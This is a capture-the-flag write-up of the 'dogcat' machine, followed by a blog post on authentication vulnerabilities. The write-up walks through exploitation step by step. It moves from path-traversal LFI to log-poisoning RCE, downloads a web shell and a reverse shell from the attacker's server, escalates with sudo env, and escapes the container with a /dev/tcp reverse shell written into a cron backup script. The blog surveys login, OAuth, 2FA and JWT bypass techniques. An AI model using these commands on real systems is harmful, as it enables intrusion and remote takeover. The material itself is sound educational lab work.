c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: dogcat ``` we have two doors open 80 running apache 2.4.38 and 22 running openssh ### website [![image](https://user-images.githubusercontent.com/53917092/97306673-8ea23980-183d-11eb-9cce-2f13c0602f23.png)](https://user-images.githubusercontent.com/53917092/97306673-8ea23980-183d-11eb-9cce-2f13c0602f23.png) by clicking on "A dog" ![](https://user-images.githubusercontent.com/53917092/97306782-b42f4300-183d-11eb-820d-6cb3ea892444.png) by clicking on "A cat" ![](https://user-images.githubusercontent.com/53917092/97306885-cc06c700-183d-11eb-92fe-66a29f4f565c.png) By analyzing the url, we can try to see other files besides the conventional ones, for example: ![](https://user-images.githubusercontent.com/53917092/97308357-8ba84880-183f-11eb-85ef-83a87269afc3.png) "Sorry, only dogs or cats are allowed." this message leads us to think that the system checks whether we type "cat or dog" in the url to bypass, we can use cat/../ that is, we will enter the folder "cats", we will leave and then we will go back to where we were but the url will pass in the verification ![](https://user-images.githubusercontent.com/53917092/97309619-0887f200-1841-11eb-878d-97fbe36b36fa.png) Does it work? this tried to read the index.php but gave some error. but it worked ## LFI Local File Inclusion we can read .php files from the server trying to read files with other extensions we have this error: ![](https://user-images.githubusercontent.com/53917092/97310357-e347b380-1841-11eb-88d5-18e1f88f2cad.png) "passwd.php" the system adds the .php extension by default we can try to read the file "index.php", without errors by coding it in base64 using "php Wrapper filter" > view=php\://filter/convert.base64-encode/resource=cat/../index ![](https://user-images.githubusercontent.com/53917092/97311062-b647d080-1842-11eb-9b9b-eb2a0fb0261f.png) decoding this base64 we can view the index.php source code and understand how it works ![](https://user-images.githubusercontent.com/53917092/97311288-f73fe500-1842-11eb-947a-a1a6a2cdfb3b.png) here we can see that the system only defines the extension when we do not define "ext". we can read all files using "ext" example, reading /etc/passwd > /?view=cat/../../../../../../../../etc/passwd\&ext= ![](https://user-images.githubusercontent.com/53917092/97311598-4a199c80-1843-11eb-8dbc-f4aa09133771.png) ## RCE (Remote Code Execution) in this case, we were able to scale from an LFI to a RCE by reading the log files to read apache2 log files : > /?view=cat/../../../../../../../../var/log/apache2/access.log\&ext= ![](https://user-images.githubusercontent.com/53917092/97312250-08d5bc80-1844-11eb-8842-4f4f5e3e7042.png) now if we inject php code into the log, it will be executed, that we get a RCE to do this I will use a proxy called burpsuite, to intercept the connection and inject code replacing the user agent writing a shell > \ ![](https://user-images.githubusercontent.com/53917092/97314326-5bb07380-1846-11eb-9c14-172d88b5a7f6.png) refreshing and viewing the source code : ![](https://user-images.githubusercontent.com/53917092/97314572-9d411e80-1846-11eb-81ae-e0a9c8ad26dc.png) it works! now we can run commands in URL using \&cmd= > view-source:http\:///?view=cat/../../../../../../../../var/log/apache2/access.log\&ext=\&cmd=ls ![](https://user-images.githubusercontent.com/53917092/97314809-d6798e80-1846-11eb-8232-7bf774b7bf2b.png) ### First flag > view-source:http\:///?view=cat/../../../../../../../../var/log/apache2/access.log\&ext=\&cmd=cat+flag.php ![](https://user-images.githubusercontent.com/53917092/97315020-0759c380-1847-11eb-990b-3c14c1637dfd.png) ## Web Shell to see what we can use to get a web shell, we can list the machine's binaries > view-source:http\:///?view=cat/../../../../../../../../var/log/apache2/access.log\&ext=\&cmd=ls+/usr/bin ![](https://user-images.githubusercontent.com/53917092/97315473-8818bf80-1847-11eb-920a-cfd5a6c87536.png) i will use curl to get a shell from my machine in our machine: installing the powny shell > wget -O powny.php > sudo python3 -m http.server 80 now I will download the file and put it in /var/www/html in the box machine (RCE) > view-source:http\:///?view=cat/../../../../../../../../var/log/apache2/access.log\&ext=\&cmd=curl \/powny.php -o /var/www/html/powny.php ![](https://user-images.githubusercontent.com/53917092/97318439-a46a2b80-184a-11eb-9df8-82fff35be882.png) it works ### Second flag ![image](https://user-images.githubusercontent.com/53917092/97318748-f1e69880-184a-11eb-90b4-52143880ef9b.png) ## Reverse Shell we will use php-reverse-shell from pentest monkey so in our machine: installing the rev shell > wget (use nano or vim to change the ip and port) > sudo python3 -m http.server 80 ![](https://user-images.githubusercontent.com/53917092/97321361-8d790880-184d-11eb-8a27-d7ac6b96b77d.png) in the web shell : > curl \/php-reverse-shell.php -o /var/www/html/shell.php ![](https://user-images.githubusercontent.com/53917092/97321494-b13c4e80-184d-11eb-9a66-35f1a8faf2b9.png) and now is just enter in: /shell.php ![](https://user-images.githubusercontent.com/53917092/97321555-c618e200-184d-11eb-83f0-f2d3f3342253.png) ![](https://user-images.githubusercontent.com/53917092/97321608-d3ce6780-184d-11eb-8f7e-4fe4b0b57f3c.png) ## Privilege Escalation > cd /tmp/ installing linpeas in our machine: installing the linpeas > wget > sudo python3 -m http.server 80 in the reverse shell: > curl \/linpeas.sh -o /tmp/linpeas.sh > chmod +x linpeas.sh > ./linpeas.sh > output.txt & reading the output > cat output.txt [![image](https://user-images.githubusercontent.com/53917092/97322387-81da1180-184e-11eb-8fcb-d70820e93d0a.png)](https://user-images.githubusercontent.com/53917092/97322387-81da1180-184e-11eb-8fcb-d70820e93d0a.png) [![image](https://user-images.githubusercontent.com/53917092/97323609-bdc1a680-184f-11eb-9a45-5ccf5f594448.png)](https://user-images.githubusercontent.com/53917092/97323609-bdc1a680-184f-11eb-9a45-5ccf5f594448.png) linpeas pointed to this binary (/usr/bin/env) as a 99% chance of being vulnerable to privilege escalation checking in GTFObins about this binary ![](https://user-images.githubusercontent.com/53917092/97324130-450f1a00-1850-11eb-9588-d893947b0965.png) > sudo env /bin/sh [![image](https://user-images.githubusercontent.com/53917092/97324324-7be53000-1850-11eb-9c45-51c970969837.png)](https://user-images.githubusercontent.com/53917092/97324324-7be53000-1850-11eb-9c45-51c970969837.png) ### third flag [![image](https://user-images.githubusercontent.com/53917092/97324598-c5ce1600-1850-11eb-9679-bd259f568ad5.png)](https://user-images.githubusercontent.com/53917092/97324598-c5ce1600-1850-11eb-9679-bd259f568ad5.png) ## Privelege escalation escalation? as root. in the root (/) of the system we see: ![](https://user-images.githubusercontent.com/53917092/97325930-3e81a200-1852-11eb-983a-abd973205979.png) which shows that docker is installed on this machine and we have to do a "Container escape" so searching for scripts > find / -type f -name \*.sh we find : /opt/backups/backup.sh ![](https://user-images.githubusercontent.com/53917092/97327348-a4baf480-1853-11eb-80a2-7a8a6b4111d4.png) this script compresses files from outside the container, so I will replace it with a reverse shell and it will be called from outside the container too > echo '#!/bin/bash' > /opt/backups/backup.sh > echo 'bash -i >& /dev/tcp//1234 0>&1' >> /opt/backups/backup.sh and just wait a few minutes later: ![](https://user-images.githubusercontent.com/53917092/97328868-38d98b80-1855-11eb-9a57-59aaa9145006.png) ## Fourth flag ![image](https://user-images.githubusercontent.com/53917092/97329058-69212a00-1855-11eb-942b-b6723d136cad.png) # Blog Posts # Understanding potential vulnerabilities in authentication mechanisms Despite the fact that authentication is simply one of the components involved in testing an application as a whole, it is one of the most important because of the strong correlation between authentication and security. Being able to bypass an authentication system can offer an attacker access to a bigger attack surface, in addition to granting access to sensitive information. It is essential to determine what an authentication system is. An authentication system, which is distinct from authorization, is a feature of an application that verifies that the user accessing the system is who he claims to be. An authorization system is a feature of an application that verifies that the user has permission to perform the task at hand. We need to know what kinds of authentication mechanisms an application can employ. We’ll look at three of the most common ones in web applications: * Single factor login (password based login) * Single Sign On * Multi factor login (password based + confirm with other device) ### Single factor login (or password based login) The most common type of web application login is single-factor login, sometimes known as password-based login. The user has to enter a username or email address and a password; the application checks to see if this information is stored in the system; if it is, the application usually redirects the user with a session cookie; and if any of this information is incorrect, the application provides an error screen.

login flow chart

We already have some potential vulnerabilities in the stage where the user provides login and password to the application. As in the case of the application failing to set a request limit or allowing users to use a password that is too easy to guess. These are security flaws that make it simple for an attacker to bruteforce their way into a user’s account. To prevent this type of attack, the application should require the user to enter a strong password and set a rate limit to prevent a single user from sending too many requests in a short period of time. Many applications utilize a WAF to set a rate limit. [Lab: Broken brute-force protection, IP block | Web Security Academy (portswigger.net)](https://portswigger.net/web-security/authentication/password-based/lab-broken-bruteforce-protection-ip-block) It’s also possible that the application accepts multiple credential attempts in the same request because of a misconfiguration or incorrect validation. Even if the application has a request limit, this can make a bruteforce possible.

Broken brute-force protection, multiple credentials per request

[Lab: Broken brute-force protection, multiple credentials per request | Web Security Academy (portswigger.net)](https://portswigger.net/web-security/authentication/password-based/lab-broken-brute-force-protection-multiple-credentials-per-request) The application should also avoid using any service’s default credentials. If there are any services in the application that haven’t changed their credentials, the attacker will be able to log in using them. If the application uses a service that maintains default credentials, it’s worth attempting to gain access using those credentials. [Testing for Default Credentials- OWASP](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/02-Testing_for_Default_Credentials) > [**GitHub — ihebski/DefaultCreds-cheat-sheet: One place for all the default credentials to assist the…**](https://github.com/ihebski/DefaultCreds-cheat-sheet) *One place for all the default credentials to assist the Blue/Red teamers activities on finding devices with default…*[github.com](https://github.com/ihebski/DefaultCreds-cheat-sheet) > [**GitHub — netbiosX/Default-Credentials: Default usernames and passwords for various systems…**](https://github.com/netbiosX/Default-Credentials) *Default usernames and passwords for various systems and devices. To create lists for various devices and systems to be…*[github.com](https://github.com/netbiosX/Default-Credentials) An application can check whether the credentials entered by the user match any of those stored on the system in a few ways. Of course, other vulnerabilities may exist according on how this is done. In the case of an application that uses a database, injection may be possible depending on the database type. If the application employs SQL, SQL injection; if the application uses NoSQL, NoSQL injection. When an application fails to properly treat user inputs and uses them in database queries, injections might occur. An example of SQL Injection-vulnerable code is as follows:

test:test credential -> login failed

using a sqlinjection payload at the user input -> login bypassed

[Using SQL Injection to Bypass Authentication — PortSwigger](https://portswigger.net/support/using-sql-injection-to-bypass-authentication) [How to prevent SQL Injection](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html) [NoSQL injection — HackTricks](https://book.hacktricks.xyz/pentesting-web/nosql-injection) [NOSQL INJECTION FUN WITH OBJECTS AND ARRAYS](https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf) If the application is written in PHP and is older than PHP 8, when the user submits JSON data, a type juggling vulnerability can exist. This vulnerability occurs when the user input is compared using a loose comparison (==) rather than a strict comparison (===). The user can control the type of their input by submitting a JSON parameter value as an integer without quotes, which the program will treat as an INT instead of a string. If the application implements loose comparison, the table below displays some comparisons that can be used.
When we compare 0 to a string, the output is true, as seen in the table above. As demonstrated in the image below, this can be utilized to bypass login.
[PHPMagicTricks-TypeJuggling.pdf (owasp.org)](https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf) [PHP Juggling type and magic hashes](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling) Following the validation, the server sends the response to the user. Some vulnerabilities can happen as a result of this response. It is possible for an attacker to enumerate the users on a system if the application responds differently when a valid user and an invalid user are sent. {% embed url="" %} [Lab: Username enumeration via different responses | Web Security Academy (portswigger.net)](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses) This response potentially reveal more sensitive information about the app or its users. [OWASP Top 10 — Sensitive Data Exposure — Code Maze (code-maze.com)](https://code-maze.com/owasp-top-10-sensitive-data-exposure/) [OWASP Top Ten 2017 | A3:2017-Sensitive Data Exposure | OWASP Foundation](https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure) Another possibility is that the application allows you to access pages that require logging in based strictly on the response code. If the application responds with a 401, but you use a proxy and modify the response code to 200 OK, the application can display the page as if you were signed in. [Authentication Bypass via Response Manipulation — Hackerone Program — Professor — YouTube](https://www.youtube.com/watch?v=VAqVAztag-o) If you forget your password, most authentication systems allow you to reset it. This function is interesting to investigate because you might be able to set another user’s password using a parameter that the application sets predictably or unexpectedly. {% embed url="" %} [Lab: Password reset broken logic | Web Security Academy (portswigger.net)](https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic) ### ### Single Sign On #### How it works
Single Sign On (SSO) is an authentication solution that allows users to use the same login credentials for multiple applications. The application’s trust in the identity provider is the basis of this authentication service.In general, the SSO login flow works like this: 1. The user accesses in to the application he wishes to visit. 2. The application redirects the user to the IdP page with some parameters. 3. The user enters his credentials into the IdP. 4. With a token that validates the user’s login, the IdP redirects the user back to the application. 5. After validating the token, the application logs the user in.
The following parameters are usually used in the request from the application redirecting to the IdP: * The parameter “client\_id” specifies to the IdP which application the user is accessing. * The parameter “redirect\_uri” sets the url to which the IdP will redirect the user after he logs in. * The “scope” parameter tells the IdP what information the application is allowed to read from the user. * The parameter “response\_type” tells the IdP which flow and parameters will be used. * The “state” parameter is a hash that is given from the application to the IdP and then validated; it works as a CSRF token to prevent CSRF attacks. The IdP receives these parameters, the user logs in, and the IdP redirects the user to the “redirect uri” with the user’s state and token, which the application validates before giving the user the session cookie.
#### Potential Vulnerabilities We have some vulnerabilities if the arguments sent to the IdP are not validated or are validated incorrectly. We have an open-redirect in the case of “redirect uri” not being validated. We may be vulnerable to CSRF attacks if the application does not validate the “state.” We have account takeover if the application does not validate either of these two parameters correctly, because it will be possible to create a link with “redirect uri” to an attacker’s site, and when the user logs in, it will send the token to the attacker’s site, which will be able to use this token to log in, because the application does not validate the request’s integrity (what should be done with the “state”). {% embed url="" %} [Lab: OAuth account hijacking via redirect\_uri](https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri) [Stealing OAuth Tokens With Open Redirects | Okta Security](https://sec.okta.com/articles/2021/02/stealing-oauth-tokens-open-redirects) Many applications allow you to log in with multiple IdPs, allowing you to authenticate with multiple accounts like Google, GitHub, and Twitter. It’s possible that the application implements this incorrectly, resulting in a Multi-IdP misconfiguration. A pre-account takeover is possible if Multi-IdP is implemented incorrectly. This happens if the application allows you to log in with both your email and password, as well as your email’s IdP. So, if an attacker creates an account with an email and a password, but also allows you to log in with Google, but fails to make the necessary validations, the account that logged in with Google may end up giving access to the attacker who created the account with the same email but with a password.
> [**Bumble disclosed on HackerOne: Misconfigured oauth leads to Pre...**](https://hackerone.com/reports/1074047) *Summary While testing badoo i have noticed that users can use SMAL (Google,MSN,VKontakte,Odnoklassniki,Yandex Mail.Ru)…*[hackerone.com](https://hackerone.com/reports/1074047) [OAuth to Account takeover — HackTricks](https://book.hacktricks.xyz/pentesting-web/oauth-to-account-takeover) [OAuth 2.0 authentication vulnerabilities](https://portswigger.net/web-security/oauth) ### Two Factor Authentication #### How it works Most 2-factor validation applications work similarly to password-based login applications. The difference is that these typically include a second verification step in which the user confirms a token on a device such as a cell phone, which is typically accomplished through app or SMS. #### Potential vulnerabilities The lack of validation of the token being sent is one of the most critical vulnerabilities. The lack of validation of the token being sent is one of the most serious flaws. In some scenarios, the application requests the user to enter their user name and password, and if they are valid, the user is redirected to a screen where they can validate their 2-factor token. However, before completing this confirmation step, the user may be able to view the restricted pages for logged-in users. {% embed url="" %} [Lab: 2FA simple bypass | Web Security Academy (portswigger.net)](https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass) [Bypassing the Protections — MFA Bypass Techniques for the Win | Cobalt](https://www.cobalt.io/blog/bypassing-the-protections-mfa-bypass-techniques-for-the-win) If the application does not have a ratelimit, the two-step login is vulnerable to bruteforce attacks, exactly like a single-factor login. This is much worse if the token is predictable, such as always being six numbers, because the attacker can test all combinations until the token is valid. [Lab: 2FA bypass using a brute-force attack](https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack) ### Vulnerabilities in Keep Logged functionality There are vulnerabilities that occur after a user has already logged in and can occur regardless of the type of login. It’s important discussing the vulnerabilities that may exist in the session cookie that the application sets once the user logs in if the cookie is a JWT. JWT tokens are made up of three pieces, each of which is separated by a “.” and encoded in base64. Header, payload, and signature are the three sections. The vulnerabilities that can occur in a JWT-enabled application are related to the possibility that the user can modify the header and payload while the application still validates the cookie. There are 2 techniques for it. One is to bruteforce the JWT’s secret; if the JWT is signed with a weak secret, the attacker may be able to discover it using bruteforce and use it to modify and validate their JWT. Another possibility is that the application does not validate the signature, in which case you would not need the secret to create a valid JWT and could simply use the original jwt’s third part instead. {% embed url="" %} [JWT attacks | Web Security Academy (portswigger.net)](https://portswigger.net/web-security/jwt) Some applications allow you to stay logged in even after you leave the site, which can be dangerous depending on how it’s done. Some applications use a token, which, if discovered, allows attackers to gain control of an account. Other programs may rely on a header that informs them of the user’s IP address; if this is the case, the attacker may attempt account takeover by manipulating this header. [11 Authentication-Based Vulnerabilities You Need to Know](https://www.strongdm.com/blog/authentication-vulnerabilities)